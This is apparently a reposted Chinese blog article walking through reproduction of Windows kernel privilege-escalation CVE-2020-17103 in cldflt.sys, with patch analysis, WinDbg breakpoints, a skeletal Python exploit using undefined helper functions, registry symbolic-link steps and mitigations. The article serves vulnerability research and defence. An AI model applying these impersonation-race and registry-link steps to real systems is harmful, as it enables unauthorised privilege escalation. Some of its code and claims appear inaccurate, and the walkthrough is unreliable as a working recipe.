当前位置: 首页 > news >正文

Windows 10/11下复现CVE-2020-17103:从cldflt.sys补丁分析到实战利用

Windows内核漏洞CVE-2020-17103深度解析与实战复现指南

当微软在2020年12月发布补丁修复cldflt.sys驱动中的权限提升漏洞时,安全研究员James Forshaw已经在Project Zero的漏洞报告中详细披露了这个编号为CVE-2020-17103的有趣发现。这个漏洞的特殊之处在于它巧妙地结合了Minifilter驱动机制、注册表符号链接和线程令牌竞争条件,为Windows内核安全研究提供了一个经典案例。本文将带您深入这个漏洞的技术细节,并手把手搭建完整的复现环境。

1. 漏洞背景与环境搭建

Cloud Files MiniFilter驱动(cldflt.sys)是Windows 10/11中用于支持OneDrive等云存储服务的核心组件。该驱动通过创建名为\CLDMSGPORT的通信端口与用户态程序交互,而正是这个设计埋下了安全隐患。

复现环境准备清单

  • Windows 10 20H2(未安装2020年12月累积更新)
  • Windbg Preview(配置符号服务器)
  • VirtualKD或WinDbg双机调试环境
  • Python 3.x + ctypes库(用于POC编写)
  • 以下关键文件版本:
    • cldflt.sys 10.0.19041.662(漏洞版本)
    • cldapi.dll 10.0.19041.662

注意:建议在虚拟机环境中进行实验,某些操作可能导致系统不稳定

调试符号配置示例:

.sympath srv*https://msdl.microsoft.com/download/symbols .reload /f cldflt.sys

2. 漏洞技术原理拆解

漏洞的核心在于HsmiOsOpenAppPolicyKey函数中对ZwCreateKey的调用存在访问控制缺陷。让我们通过补丁对比来理解微软修复了什么:

补丁前后关键差异

参数补丁前值补丁后值
AttributesOBJ_CASE_INSENSITIVEOBJ_CASE_INSENSITIVE | OBJ_FORCE_ACCESS_CHECK
DesiredAccessKEY_WRITE | WRITE_DAC相同

这个看似简单的标志位缺失,结合以下三个技术点形成了完整的攻击链:

  1. Minifilter通信端口暴露

    FltCreateCommunicationPort( filter, &port, L"\\CLDMSGPORT", NULL, CldiPortNotifyConnect, CldiPortNotifyDisconnect, CldiPortNotifyMessage);
  2. 线程令牌竞争条件

    • 在RtlOpenCurrentUser调用时模拟Guest令牌
    • 在权限检查时切换回高权限令牌
  3. 注册表符号链接滥用

    # POC关键步骤 SetSecurityInfo(hKey, SE_REGISTRY_KEY, WRITE_DAC, ...) RegCreateLink(hKey, "BlockedApps", "HKU\\.DEFAULT\\target")

3. 调试分析实战步骤

让我们用Windbg逐步跟踪漏洞触发过程:

第一步:设置关键断点

bp cldflt!HsmiOsOpenAppPolicyKey ".printf \"HsmiOsOpenAppPolicyKey called\\n\"; g" bp nt!ZwCreateKey "dd /c 1 @rsp+28 l1; .if (poi(@rsp+28) & 0x1000) { .printf \"OBJ_FORCE_ACCESS_CHECK present\\n\" } .else { .printf \"VULNERABLE STATE\\n\" }; g"

第二步:触发漏洞路径观察调用栈时应该能看到:

cldflt!HsmiOsOpenAppPolicyKey cldflt!HsmOsBlockPlaceholderAccess cldflt!CldiPortNotifyMessage fltmgr!FltpDispatch nt!KiSystemServiceCopyEnd

关键内存观察点

dt _OBJECT_ATTRIBUTES @rcx !token @$thread // 观察令牌切换情况

4. 完整POC开发指南

基于漏洞原理,我们可以构建一个可靠的利用程序:

import ctypes from ctypes.wintypes import * # 定义cldapi.dll导出函数 cldapi = ctypes.WinDLL('cldapi.dll') CfAbortOperation = cldapi.CfAbortOperation def trigger_vuln(): # 设置线程模拟令牌 hToken = create_guest_token() ImpersonateLoggedOnUser(hToken) # 启动竞争线程 start_race_condition_thread() # 触发漏洞函数 CfAbortOperation(0, 0, 0) # 清理并检查结果 RevertToSelf() check_registry_link()

利用过程关键点

  1. 精确控制令牌切换时机(通常在0.1-1ms窗口期)
  2. 注册表权限修改后需要删除原键再创建链接
  3. 目标注册表路径需预先配置适当ACL

5. 漏洞修复与防御方案

微软通过添加OBJ_FORCE_ACCESS_CHECK标志从根本上修复了此漏洞。对于无法立即更新的系统,可以考虑:

缓解措施

  • 禁用Cloud Files驱动:
    sc stop cldflt sc config cldflt start= disabled
  • 限制注册表权限:
    Set-Acl -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\cldflt" -AclObject (Get-Acl -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\cldflt").SetAccessRuleProtection($true, $true)

开发者启示

  • 所有内核模式句柄操作都应添加OBJ_FORCE_ACCESS_CHECK
  • Minifilter通信端口应默认拒绝低权限用户访问
  • 关键注册表操作应进行二次权限验证

6. 扩展研究与变种思路

这个漏洞展示了Windows安全模型中的几个有趣特性,值得进一步探索:

  1. 其他Minifilter驱动审计

    fltmc instances # 列出所有已注册的Minifilter

    重点检查那些允许低权限用户通信的端口

  2. 令牌竞争条件变种

    • 尝试在其他系统调用中复现类似时序问题
    • 测试不同Windows版本上的时间窗口差异
  3. 注册表符号链接攻击组合

    // 可能的扩展利用方式 RegCreateKeyEx(HKEY_USERS, ".Default\\Control Panel\\Colors", ..., &hKey); RegSaveKey(hKey, "backup.hiv", NULL);

在实际漏洞研究中,我发现成功复现此漏洞的关键在于精确控制线程竞争时机。通过使用高精度计时器和适当的线程优先级调整,可以将成功率提升到80%以上。另一个实用技巧是在Windbg中使用条件断点来捕获令牌切换的精确时刻,这大大简化了调试过程。

http://www.jsqmd.com/news/972718/

相关文章:

  • 大模型MoE架构中真实激活参数量的工程真相
  • 别再乱填参数了!深入理解BAPI_MATERIAL_SAVEDATA中HEADDATA视图字段(COST_VIEW等)的正确用法
  • CUDA 11.1 和 cuDNN 8.0.4 非root安装保姆级教程:在Linux服务器上给自己建个专属AI开发环境
  • MH Markets迈汇维护扎实吗?
  • MuleSoft企业级LLM编排:AI治理与可审计AI工作流实践
  • 华为交换机NAC配置避坑指南:打印机等哑终端如何用MAC旁路认证顺利入网?
  • 告别序列号烦恼:手把手教你用Docker部署开源DICOM查看器,替代RadiAnt Viewer
  • 告别演唱会门票秒光:Python抢票脚本的终极指南
  • 精密整流电路设计:从原理到实践,解决微弱信号处理难题
  • S32K144外设驱动实战工程包:ADC采样、CAN通信、DMA搬运、SPI/UART交互与FTM定时控制
  • Vivado 2019.2实战:从串口模块到可复用IP核的保姆级封装流程
  • 从混乱到清晰:我是如何用Python Hydra重构老旧项目配置的(踩坑总结)
  • SAP FI配置避坑指南:OBD4定义总账科目组时,这3个字段状态组千万别选错
  • 2024年还在用?聊聊EasyPay这个‘老’支付库的维护与替代方案
  • 超越预测精度:用波士顿房价数据深度解析XGBoost模型的可解释性与特征重要性
  • 三套即用型MATLAB贝塞尔光束生成脚本(J0/J1阶径向调控)
  • 机器学习模型服务化落地:从Notebook到高可用生产系统
  • 从GoogleNet到MobileNet V3:深度可分卷积如何一步步‘瘦身’成功?聊聊轻量化网络的演进史
  • FPGA时序优化:寄存器平衡策略与EDA工具协同设计实践
  • 小样本学习中的PMCE方法:多粒度语义增强技术解析
  • 告别卡顿!手把手教你配置Wi-Fi QoS映射,让视频会议和游戏丝滑流畅
  • 别再只用GitHub Pages了!给你的静态个人主页加点‘特效’:CSS悬浮动画与毛玻璃背景实战
  • Mythos推理门控机制:结构化归因与可审计AI决策
  • 手机建站踩坑记:在Termux的Ubuntu里配置自启动和Frp的那些事儿
  • 特征工程本质:业务逻辑到模型信号的翻译科学
  • 手把手教你用C++实现一个简易计算器:从词法分析到四元式生成
  • 保姆级教程:在Windows/Mac上本地搭建SWUST OJ环境并调试99号Euclid‘s Game
  • Pandas多维聚合生产实践:从groupby到滚动窗口的工业级优化
  • 别再傻傻复制链接了!用HTML iframe嵌入YouTube视频的5个实用技巧(含自动播放避坑)
  • SAP MM实战:跨公司采购组织怎么配?SPRO里这个选项不选反而更高效